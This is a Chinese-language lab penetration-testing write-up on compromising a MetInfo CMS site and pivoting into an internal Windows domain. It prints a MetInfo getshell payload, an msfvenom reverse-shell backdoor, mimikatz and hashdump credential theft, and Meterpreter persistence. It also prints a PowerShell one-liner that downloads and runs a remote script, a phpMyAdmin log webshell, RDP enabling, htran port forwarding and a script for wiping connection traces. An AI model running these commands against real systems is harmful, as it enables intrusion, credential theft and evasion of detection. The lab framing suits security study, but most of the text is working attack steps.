0×00 环境搭建

攻击机:kali linux及Windows10(本机)

边缘机:Windows 2003 公网IP:192.168.61.140 内网IP:192.168.129.139

靶机:Windows 2008 内网IP192.168.129.130

Alt text

0×01 引言

漏洞概述

MetInfo是中国米拓信息技术有限公司的一套使用PHP和Mysql开发的内容管理系统(CMS)。Metinfo 6.0.0版本中存在安全漏洞。远程攻击者可通过向admin/column/save.php文件发送‘module’参数利用该漏洞向.php文件写入代码并执行该代码。

影响版本

MetInfo 5.3.16MetInfo 6.0.0

漏洞分析

漏洞发生在metinfo6.0.0\admin\column\save.php的column_copyconfig函数。Alt text跟进column_copyconfigAlt text跟进Copyindx()Alt text

/*复制首页*/ function Copyindx($newindx,$type){ if(!file_exists($newindx)){
        $oldcont ="<?php\n# MetInfo Enterprise Content Management System \n# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. \n\$filpy = basename(dirname(__FILE__));\n\$fmodule=$type;\nrequire_once '../include/module.php'; \nrequire_once \$module; \n# This program is an open source system, commercial use, please consciously to purchase commercial license.\n# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.\n?>";

        $fp = fopen($newindx,w);
        fputs($fp, $oldcont);
        fclose($fp);
    }
} 

可以看到这里将$type变量直接写入了文件中,而$type变量一直可以追溯到column_copyconfig的$module变量而metinfo一个经典的伪全局变量覆盖,在metinfo6.0.0\admin\include\common.inc.php中。

foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) {
        $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
        $_M['form'][$_key]=daddslashes($_value,0,0,1);
    }
} 

这样我们可以通过传入get参数,覆盖$module变量,导致任意文件写入。

0×02 边缘机渗透

信息收集

访问网站:Alt text进行whoami,后台扫描,目录扫描,端口扫描等常见信息收集,通过HTTP报文响应头部可初步判断网站技术架构。Alt text发现网站为metinfo5.3.19:Alt text

获取webshell

查找漏洞

Metinfo6.0.0之前版本存在后台getshell漏洞,登入后台即可使用payload getshell。

爆破后台

扫出后台目录为/admin弱口令爆破admin,admin登入后台。

getshell

Payload:admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST['a']);/*

菜刀连接

Shell在upload目录下的index.php,使用蚁剑连接。Alt text看一下权限administrator,不用提权了。Alt text

使用msf进行后渗透

msf生成后门msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.61.3 -f exe>twosmile.exe传到目标机:Alt text然后用虚拟终端运行:Alt text在kali上可以看到shell反弹回来:Alt text查看进程:Alt text使用migrate迁移进程:Alt text

域信息收集

使用域下常见信息收集命令进行信息收集如getuid,systeminfo,ipconfigall,net user,net view等等。Alt textAlt textAlt text发现两张网卡两个IP,确定有内网无误,使用msf进行getsystem:Alt text其他msf信息收集命令:

run post/windows/gather/checkvm #是否虚拟机 run post/linux/gather/checkvm #是否虚拟机 run post/windows/gather/forensics/enum_drives #查看分区 run post/windows/gather/enum_applications #获取安装软件信息 run post/windows/gather/dumplinks #获取最近的文件操作 run post/windows/gather/enum_ie #获取IE缓存 run post/windows/gather/enum_chrome #获取Chrome缓存 run post/windows/gather/enum_patches #补丁信息 run post/windows/gather/enum_domain #查找域控 

获取密码

使用msf:

load mimikatz
kerberos 

Alt text失败,尝试hashdump:Alt text破解hash:Alt text

权限维持

通过Meterpretershell获取持久性shell的方法有两种,这里我使用的是第一种。

Persistence模块

Alt text运行run persistence -U -i 10 -p 4444 -r 192.168.61.3Alt text

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。

-i:设置反向连接间隔时间,单位为秒;

-p:设置反向连接的端口号;

-r:设置反向连接的ip地址。

这样重启后任然会有shell反弹。

Metsvc模块

Alt text这个模块是直接开启服务 监听31337端口利用handler下的windows/metsvc_bind_tcp模块,重新获得shell。

powershell权限维持

powershell脚本:https://github.com/re4lity/Schtasks-Backdoor 使用方法见Readme文件。

powershell.exe-exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.61.140/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor-method nccat -ip 192.168.61.3 -port 53 -time 2" 

192.168.61.140 本地服务器。

192.168.61.3 nc主机。

开启3389

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f 

中文会乱码:Alt text输入之前抓到的用户名密码:Alt textAlt text登入远程桌面后也可以收集一波信息:Alt textAlt text域控IP:Alt text

其他常用命令:

ipconfig /all 查看本机IP,所在域

net user /domain 查询域用户

net group /domain —— 查询域里面的工作组

net group “domain admins” /domain —— 查询域管理员用户组

ping D1.com 查看域控的IPnltest /dclist:d1 查看域控名字

net time /domain 查看时间,域控机器名

net view 显示域中的计算机名列表

net view /domain:D1 显示指定域中机器名

net user /domain 查看当前域中的用户

net group “domain admins” /domain 查询域管理员用户组

net config workstation 显示更改可配置工作站参数,也可以获得登录域,机器名等信息

net accounts查看本地密码策略

netstat –an/ano/anb网络连接查询

route print路由表

dsquery,可以用来收集跨域的信息,但是跨域执行的前提是必须建立信任关系

这些命令也可以直接在msf中输入shell命令执行。

0×03 内网渗透

查看arp缓存

arp:

Alt text

route:

Alt text

添加路由

Alt text

端口扫描

Alt textAlt text

445端口看一下是否能用ms17010:Alt text

不能打,用边缘机远程桌面看看80端口有什么服务。

webshell

Alt text有apache phpmyadmin记下绝对路径C:/phpStudy/PHPTutorial/WWW

尝试弱口令登入phpmyadmin然后日志写shell:

show variables like '%general%'; set global general_log = on; set global general_log_file = 'C:/phpStudy/PHPTutorial/WWW/shell.php'; select '<?php eval($_POST['a']);?>' 

Alt text报错无所谓 已经存进日志了,然后传个菜刀到边缘机,用边缘机连一下:Alt textAlt text

开3389

Alt text传个脚本上去抓hash:Alt textmimikatz也可以:Alt text

privilege::debug

sekurlsa::logonPasswords 

Alt text

端口转发

上传htran:Alt texthtran -p -tran 8888 192.168.129.130 3389将域控3389转发到边缘机8888再连边缘机ip(192.168.61.140:8888)远程桌面:Alt text连接成功。

痕迹清除

简单清除一下,动静还是比较大的;

msf中clearev:Alt text3389痕迹清除脚本:

echo off
color 0A
title 3389连接痕迹清除
mode con cols=88 lines=20 set /p fk= 确定要清空3389连接痕迹吗?(y/n) if /i "%fk%"=="y" goto y if /i "%fk%"=="n" goto n call %0 :y
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client" /f del /a /f /q %HOMEPATH%\Documents\Default.rdp
echo 命令执行成功,请手动查看是否清除。
pause >nul

:n exit 

然后再删掉你上传的所有文件,收工。

0×04 参考文章

[1] Metinfo 6.0.0 众多漏洞分析 https://www.anquanke.com/post/id/154149

[2] phpmyadmin getshell姿势http://www.twosmi1e.com/2018/10/11/phpmyadmin-getshell%E5%A7%BF%E5%8A%BF/

[3] 后渗透阶段的权限维持(Windows篇)https://www.freebuf.com/articles/web/180581.html

*本文原创作者:twosmi1e